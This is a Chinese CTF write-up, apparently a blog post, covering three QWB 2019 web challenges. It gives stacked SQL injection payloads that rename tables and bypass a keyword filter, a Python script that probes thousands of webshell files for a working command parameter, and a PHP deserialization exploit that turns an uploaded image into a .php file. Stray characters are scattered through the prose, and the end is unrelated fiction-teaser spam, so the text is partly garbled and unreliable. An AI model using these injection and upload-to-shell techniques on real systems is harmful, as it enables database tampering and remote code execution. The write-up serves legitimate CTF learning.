QWB2019-WEB-WP

隨便注

如題名描述,是一道注入題。
Fuzz一下轿钠,發(fā)現(xiàn)

  • 1.WAF
    return preg_match("/select|update|delete|drop|insert|where|./i", $inject);
  • 2.通過報(bào)錯(cuò)注入出來的數(shù)據(jù)庫名(supersqli)、用戶等信息(果然是隨便注)

猜測(cè)后臺(tái)SQL語句應(yīng)該為:
select * from supersqli.table_name where id='' ;

由于過濾了select關(guān)鍵詞,無法自定義進(jìn)行數(shù)據(jù)查詢操作玲昧。
經(jīng)過進(jìn)一步的測(cè)試后發(fā)現(xiàn)可以堆疊注入,通過’;show tables from supersqli;#等payload可以得知flag存在于1919810931114514表的flag字段中篮绿。

這里還是由于select被過濾不能自定義查詢內(nèi)容孵延,結(jié)合后臺(tái)SQL語句,得出思路:將1919810931114514表改名為words亲配,這樣在后臺(tái)SQL語句不變的情況下仍然可以查詢得到flag的內(nèi)容尘应。

最終payload如下:

';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23

(由于1919810931114514表中并沒有id列,因此先添加id列)

';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;%23

最后直接查詢就可以得到原1919810931114514表中的內(nèi)容吼虎。

賽后學(xué)習(xí)一波ChaMd5師傅的操作

1';create procedure vk()
begin
  Set @v_sql=concat('sel','ect * from `1919810931114514`;');
  Prepare stmt from @v_sql;
  EXECUTE stmt;
  deallocate Prepare stmt;
end;
call vk();-- -

高明的黑客

下載www.tar.gz后發(fā)現(xiàn)是3000多個(gè)“木馬”文件犬钢。
簡(jiǎn)單審計(jì)一下發(fā)現(xiàn)雖然有很多命令執(zhí)行的地方,但在此之前都已經(jīng)將GET或POST參數(shù)賦空值思灰,或者加上恒為假的if判斷玷犹,于是乎寫了個(gè)腳本提取每個(gè)文件中的GET、POST參數(shù)洒疚,在本地測(cè)試是否能夠命令執(zhí)行歹颓,最終在測(cè)試GET參數(shù)的過程中發(fā)現(xiàn)其中一個(gè)能用的shell并且獲得其參數(shù)。

import requests
import re
import os
from time import sleep

flies = os.listdir('./src')
for i in flies:
    url = 'http://127.0.0.1/src/'+i
    f = open('./src/'+i)
    data = f.read()
    f.close()
    reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
    params = reg.findall(data)
    for j in params:
        payload = url + '/?' + j + '=echo 123456123456123456123456'
        print payload
        req=requests.get(payload)
        if '123456123456123456123456' in req.content:
            print payload
            exit();

upload

下載備份文件www.tar.gz進(jìn)行源碼審計(jì)
漏洞點(diǎn)在Profile類中的upload_img()函數(shù)中:

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

通過copy($this->filename_tmp, $this->filename);就可以任意更改文件名了拳亿。
exp如下:

class Register
{
    public $checker;
    public $registed;
}

class Profile 
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}

$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.php";
echo base64_encode(serialize($cheeck));
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末晴股,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子肺魁,更是在濱河造成了極大的恐慌电湘,老刑警劉巖,帶你破解...
    沈念sama閱讀 217,277評(píng)論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件鹅经,死亡現(xiàn)場(chǎng)離奇詭異寂呛,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)瘾晃,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評(píng)論 3 393
  • 文/潘曉璐 我一進(jìn)店門贷痪,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蹦误,你說我怎么就攤上這事劫拢∪饨颍” “怎么了?”我有些...
    開封第一講書人閱讀 163,624評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵舱沧,是天一觀的道長(zhǎng)妹沙。 經(jīng)常有香客問我,道長(zhǎng)熟吏,這世上最難降的妖魔是什么距糖? 我笑而不...
    開封第一講書人閱讀 58,356評(píng)論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮牵寺,結(jié)果婚禮上悍引,老公的妹妹穿的比我還像新娘。我一直安慰自己帽氓,他們只是感情好趣斤,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,402評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著杏节,像睡著了一般唬渗。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上奋渔,一...
    開封第一講書人閱讀 51,292評(píng)論 1 301
  • 那天镊逝,我揣著相機(jī)與錄音,去河邊找鬼嫉鲸。 笑死撑蒜,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的玄渗。 我是一名探鬼主播座菠,決...
    沈念sama閱讀 40,135評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼藤树!你這毒婦竟也來了浴滴?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,992評(píng)論 0 275
  • 序言:老撾萬榮一對(duì)情侶失蹤岁钓,失蹤者是張志新(化名)和其女友劉穎升略,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體屡限,經(jīng)...
    沈念sama閱讀 45,429評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡品嚣,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,636評(píng)論 3 334
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了钧大。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片翰撑。...
    茶點(diǎn)故事閱讀 39,785評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖啊央,靈堂內(nèi)的尸體忽然破棺而出眶诈,到底是詐尸還是另有隱情涨醋,我是刑警寧澤,帶...
    沈念sama閱讀 35,492評(píng)論 5 345
  • 正文 年R本政府宣布册养,位于F島的核電站东帅,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏球拦。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,092評(píng)論 3 328
  • 文/蒙蒙 一帐我、第九天 我趴在偏房一處隱蔽的房頂上張望坎炼。 院中可真熱鬧,春花似錦拦键、人聲如沸谣光。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽萄金。三九已至,卻和暖如春媚朦,著一層夾襖步出監(jiān)牢的瞬間氧敢,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工询张, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留孙乖,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,891評(píng)論 2 370
  • 正文 我出身青樓份氧,卻偏偏與公主長(zhǎng)得像唯袄,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子蜗帜,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,713評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容